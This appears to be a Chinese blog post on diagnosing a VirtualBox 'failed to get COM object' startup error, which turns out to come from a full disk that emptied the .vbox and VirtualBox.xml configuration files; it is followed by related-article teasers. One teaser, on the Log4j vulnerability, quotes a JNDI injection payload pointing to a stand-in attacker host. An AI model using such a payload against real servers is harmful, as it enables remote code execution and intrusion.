当前位置: 首页 > news >正文

virtualbox虚拟机运行中断,启动报错“获取 VirtualBox COM 对象失败”

文章目录

    • 问题现象
    • 排查解决
    • 总结

问题现象

  • 2月7日下午四点多,我已经休假了,某县的客户运维方打来电话,说平台挂了,无法访问
  • 客户是提供的一台Windows server机器部署平台,是使用virtualbox工具安装的CentOS7.9虚拟机
  • 和运维沟通,他是今天刚来接班在春节假期值班的,上午平台还好好的,下午使用时发现不行了,无法访问,当时也有一个报错信息,但是他没有记录
  • 他先是尝试关闭虚拟机重启,发现无法启动,报错;关闭当前电脑再去重启,还是报错:虚拟机控制台-严重错误 “获取 VirtualBox COM 对象失败,应用程序将被中断
    在这里插入图片描述
  • 让他打开报错详细信息,看到报错Document is empty.,报错代码E_FAIL (0x80004005)
    在这里插入图片描述
  • 因为客户的这台作为服务器的电脑,只是用的普通电路线路,而这条线路在前段时间又接了充电桩,导致前段时间老是断电重启,我怀疑这次也是断电重启导致的文件损坏,问了下,发现今天没有断电重启,就突然不行了,所以也不是这个问题

排查解决

  • 其实报错信息很明显,就是文件C:\Users\Administrator\.VirtualBox\VirtualBox.xml为空了,0kb,当时没细究为啥是空白的

  • 按照以往的经验,先是重启电脑,再以管理员权限启动virtualbox,再次启动虚拟机,还是不行,只能去网上搜索解决方案了

  • 一开始搜到的一些结果,是重装虚拟机工具virtualbox,重新注册虚拟机进来。我觉得不靠谱,而且这个是生产环境,不好做这个有风险的操作

  • 然后搜索的一个和我类似的报错的一个解决方案《VirtualBox因为强制关机,第二天启动获取 VirtualBox COM 对象失败。亲测解决方案》,类似的报错,不少人评价解决了,我按照步骤实验了一遍,还是不行
    在这里插入图片描述

  • 接着搜索到一个和我报错完全一致的文章,文章说,找到这个文件位置(默认C盘,就是报错里的文件路径C:\Users\Administrator\.VirtualBox),删除这个空的文件VirtualBox.xml,重新启动virtualbox和虚拟机即可(因为这个文件是启动时,从虚拟机自己的文件夹的.vbox维护到C盘这个文件里),结果还是不行

  • 还有说,把虚拟机删除,重新注册进来的,尝试了还是不行,无法注册进来,报错信息到是变了下C:/新平台/虚拟/Centos7.v1.1.0/Centos7.v1.1.0.vbox为空
    在这里插入图片描述

  • 这个时候,我们到了虚拟机文件夹里,发现这个.vbox文件就是0KB,然后去查看了下机器的磁盘空间,爆红,没空间了,破案了
    在这里插入图片描述

  • 虚拟机目录的.vdi磁盘文件262G,Snapshots里的.vdi磁盘文件218G,而总的机器磁盘空间就500多G(也没想到机器空间这么小),加上机器上的其他文件,随着平台的运行,慢慢的就爆满了

  • 磁盘空间问题之前遇到一次:《在Windows server 2012上使用virtualBox运行CentOS7虚拟机,被强制暂停》,磁盘空间不足时,虚拟机无法运行。于是开始删除电脑磁盘里不要的文件,删了30G左右,继续启动虚拟机,还是不行,还是同样的报错

  • 查看了下这个文件夹,发现有一个同名的.vbox-prev文件,时间刚好是反馈的系统无法访问的时间,把这个文件内容恢复的.vbox文件里,重新注册进去,可以了,解决

总结

  • 客户只提供了Windows server服务器,而且配置比较低(500+G存储空间),而且该机器电路不稳定,偶发断电
  • 为了防止断电文件损坏导致平台无法恢复,就让运维加了备份,然后磁盘就撑满了
  • C:\Users\Administrator\.VirtualBox\VirtualBox.xml文件,和各个虚拟机的.vbox文件。都是定时备份新建的(原文件与加了后缀-prev的备份文件),在新建时没有空间,创建了0KB的文件,导致了 严重错误:获取 VirtualBox COM 对象失败
  • 此时可以先删除机器上一些文件,然后恢复 C:\Users\Administrator\.VirtualBox\VirtualBox.xml文件和各个虚拟机的.vbox文件
  • 再重启VirtualBox与虚拟机就可以了,然后可以删除快照备份
    在这里插入图片描述
  • 删除快照备份时,会将快照与当前最新时间的系统文件对比合并,不会更改当前虚拟机的实际状态,只是损失一个时间点的备份
    在这里插入图片描述
  • 删除备份后,系统空间基本上足够了。此时快照与当前系统文件已合并,相当于删除了绝大部分重复的文件,释放了很多空间
  • 此时可以创建一个新的快照备份,后续再定期去删除旧的备份,创建新的备份。每次删除快照,都会合并一次,这样保持快照文件不会特别大
  • 如果觉得虚拟机磁盘文件过大,也可以使用VirtualBox自带的工具VBoxManage进行压缩瘦身,详情参考:VirtualBox虚拟机磁盘VDI文件压缩瘦身,效果还是比较好的
  • 当然,最好是有一个好磁盘,又大又快

相关文章:

virtualbox虚拟机运行中断,启动报错“获取 VirtualBox COM 对象失败”

文章目录 问题现象排查解决总结 问题现象 2月7日下午四点多,我已经休假了,某县的客户运维方打来电话,说平台挂了,无法访问客户是提供的一台Windows server机器部署平台,是使用virtualbox工具安装的CentOS7.9虚拟机和运…...

【JVM篇】什么是运行时数据区

文章目录 🍔什么是运行时数据区⭐程序计数器⭐栈🔎Java虚拟机栈🎈栈帧的内容 🔎本地方法栈 ⭐堆⭐方法区 🍔什么是运行时数据区 运行时数据区指的是jvm所管理的内存区域,其中分为两大类 线程共享&#xf…...

Jetpack 之Glance+Compose实现一个小组件

Glance,官方对其解释是使用 Jetpack Compose 样式的 API 构建远程 Surface 的布局,通俗的讲就是使用Compose风格的API来搭建小插件布局,其最新版本是2022年2月23日更新的1.0.0-alpha03。众所周知,Compose样式的API与原生差别不小&…...

实时矢量搜索如何彻底改变各行各业?

实时分析技术已经巩固了其作为众多行业的基石这一地位。另外,生成式AI具有的魅力吸引了广泛的关注,创新的解决方案有望为从娱乐到医疗保健的各个行业领域提供前所未有的洞察力。使用生成式AI方法与众多实时分析技术的融合带来了显著的协同效应。它使组织…...

【Linux】指令 【scp】

scp 是一条用于安全复制文件的命令。 scp hadoop.tar.gz datanode:/software这条命令的含义是将本地的hadoop.tar.gz文件复制到远程主机datanode的/software目录下。 scp:这是Secure Copy的缩写,用于在主机之间安全地复制文件。hadoop.tar.gz&#xff…...

文件IO,目录IO的学习

一&#xff0c;头文件的添加 #ifndef _HEAD_H_ //防止重新定义宏 #define _HEAD_H_#include<stdio.h> #include<sys/stat.h> #include<sys/types.h> #include<fcntl.h> #include<unistd.h> #include<string.h>#endif…...

leetcode(动态规划)53.最大子数组和(C++详细解释)DAY12

文章目录 1.题目示例提示 2.解答思路3.实现代码结果 4.总结 1.题目 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组 是数组中的一个连续部分。 示例 提示 2.解答思…...

BUGKU-WEB bp

题目描述 题目截图如下&#xff1a; 进入场景看看&#xff1a; 解题思路 提示说&#xff1a;弱密码top1000&#xff1f;z???(爆破?)先看看源码有没有提示 相关工具 Burp Suit 爆破top1000字典&#xff0c;点击下载 解题步骤 随便测试账号密码admin、admin 得到提…...

代码的复用——Mixin使用例子

Mixin&#xff08;混入&#xff09;是一种在Sass和Vue.js等框架中常用的技术&#xff0c;用于分发和重用代码。以下是Sass和Vue.js中Mixin的使用举例。 在Sass中&#xff0c;Mixin允许你定义可以在整个样式表中重复使用的样式。以下是一个Sass中Mixin的使用例子&#xff1a; …...

easyx 枪声模拟器

作品介绍:枪声模拟器 简介: “枪声模拟器”是一个基于Windows平台的简单程序,它使用C++编写,主要目的是通过模拟枪声来增强用户的体验。程序使用了图形库来展示一个蓝色的背景屏幕,并提示用户等待片刻后按空格键模拟开枪。当用户按下空格键时,程序会播放预先设定的枪声音…...

python 与 neo4j 交互(py2neo 使用)

参考自&#xff1a;neo4j的python.py2neo操作入门 官方文档&#xff1a;The Py2neo Handbook — py2neo 2021.1 安装&#xff1a;pip install py2neo -i https://pypi.tuna.tsinghua.edu.cn/simple 1 节点 / 关系 / 属性 / 路径 节点(Node)和关系(relationship)是构成图的基础…...

Python基础笔记11

Python小记 一行代码实现数字交换 C:\Users\mt>python Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more informa…...

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…...

智慧城市驿站:智慧公厕升级版,打造现代化城市生活的便捷配套

随着城市化进程的加速&#xff0c;人们对城市生活质量的要求也越来越高。作为智慧城市建设的一项重要组成部分&#xff0c;多功能城市智慧驿站应运而生。它集合了信息技术、设计美学、结构工艺、系统集成、环保节能等多个亮点&#xff0c;将现代科技与城市生活相融合&#xff0…...

大模型爆款应用fabric_构建优雅的提示

项目地址&#xff1a;https://github.com/danielmiessler/fabric 1 引言 目前 fabric 已经获得了 5.3K Star&#xff0c;其中上周获得了 4.2K&#xff0c;成为了上周热榜的第二名&#xff08;第一名是免费手机看电视的 Android 工具&#xff09;&#xff0c;可以算是爆款应用…...

js 对象属性描述符详解

文章目录 一、value二、writable三、访问器属性&#xff1a;get和set四、configurable五、注意事项 在 JavaScript 中&#xff0c;我们经常需要控制对象属性的特性&#xff0c;包括可写、可枚举等&#xff0c;本篇博客将介绍常见的对象属性使用及其特点。 本篇博客我们用首先O…...

文件操作QFile

C中&#xff0c;QT的QFile 类是 Qt 框架中用于文件处理的一个类&#xff0c;它继承自 QIODevice。该类提供了一系列用于文件读写的功能&#xff0c;支持文本和二进制文件的处理。QFile 允许开发者方便地在本地文件系统中创建、读取、写入和操作文件。 主要功能 文件打开与关闭…...

【Langchain】+ 【baichuan】实现领域知识库【RAG】问答系统

本项目使用Langchain 和 baichuan 大模型&#xff0c; 结合领域百科词条数据&#xff08;用xlsx保存&#xff09;&#xff0c;简单地实现了领域百科问答实现。 from langchain.text_splitter import CharacterTextSplitter, RecursiveCharacterTextSplitter from langchain_co…...

Anaconda、conda、pip、virtualenv的区别

① Anaconda Anaconda是一个包含180的科学包及其依赖项的发行版本。其包含的科学包包括&#xff1a;conda, numpy, scipy, ipython notebook等。 Anaconda具有如下特点&#xff1a; ▪ 开源 ▪ 安装过程简单 ▪ 高性能使用Python和R语言 ▪ 免费的社区支持 其特点的实现…...

【数据结构】每天五分钟,快速入门数据结构(一)——数组

目录 一.初始化语法 二.特点 三.数组中的元素默认值 四.时间复杂度 五.Java中的ArrayList类 可变长度数组 1 使用 2 注意事项 3 实现原理 4 ArrayList源码 5 ArrayList方法 一.初始化语法 // 数组动态初始化&#xff08;先定义数组&#xff0c;指定数组长度&#xf…...

Vue记事本应用实现教程

文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展&#xff1a;显示创建时间8. 功能扩展&#xff1a;记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

设计模式和设计原则回顾

设计模式和设计原则回顾 23种设计模式是设计原则的完美体现,设计原则设计原则是设计模式的理论基石, 设计模式 在经典的设计模式分类中(如《设计模式:可复用面向对象软件的基础》一书中),总共有23种设计模式,分为三大类: 一、创建型模式(5种) 1. 单例模式(Sing…...

linux之kylin系统nginx的安装

一、nginx的作用 1.可做高性能的web服务器 直接处理静态资源&#xff08;HTML/CSS/图片等&#xff09;&#xff0c;响应速度远超传统服务器类似apache支持高并发连接 2.反向代理服务器 隐藏后端服务器IP地址&#xff0c;提高安全性 3.负载均衡服务器 支持多种策略分发流量…...

SciencePlots——绘制论文中的图片

文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了&#xff1a;一行…...

以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:

一、属性动画概述NETX 作用&#xff1a;实现组件通用属性的渐变过渡效果&#xff0c;提升用户体验。支持属性&#xff1a;width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项&#xff1a; 布局类属性&#xff08;如宽高&#xff09;变化时&#…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

基于当前项目通过npm包形式暴露公共组件

1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹&#xff0c;并新增内容 3.创建package文件夹...

Mac软件卸载指南,简单易懂!

刚和Adobe分手&#xff0c;它却总在Library里给你写"回忆录"&#xff1f;卸载的Final Cut Pro像电子幽灵般阴魂不散&#xff1f;总是会有残留文件&#xff0c;别慌&#xff01;这份Mac软件卸载指南&#xff0c;将用最硬核的方式教你"数字分手术"&#xff0…...

C# 求圆面积的程序(Program to find area of a circle)

给定半径r&#xff0c;求圆的面积。圆的面积应精确到小数点后5位。 例子&#xff1a; 输入&#xff1a;r 5 输出&#xff1a;78.53982 解释&#xff1a;由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982&#xff0c;因为我们只保留小数点后 5 位数字。 输…...

Angular微前端架构:Module Federation + ngx-build-plus (Webpack)

以下是一个完整的 Angular 微前端示例&#xff0c;其中使用的是 Module Federation 和 npx-build-plus 实现了主应用&#xff08;Shell&#xff09;与子应用&#xff08;Remote&#xff09;的集成。 &#x1f6e0;️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...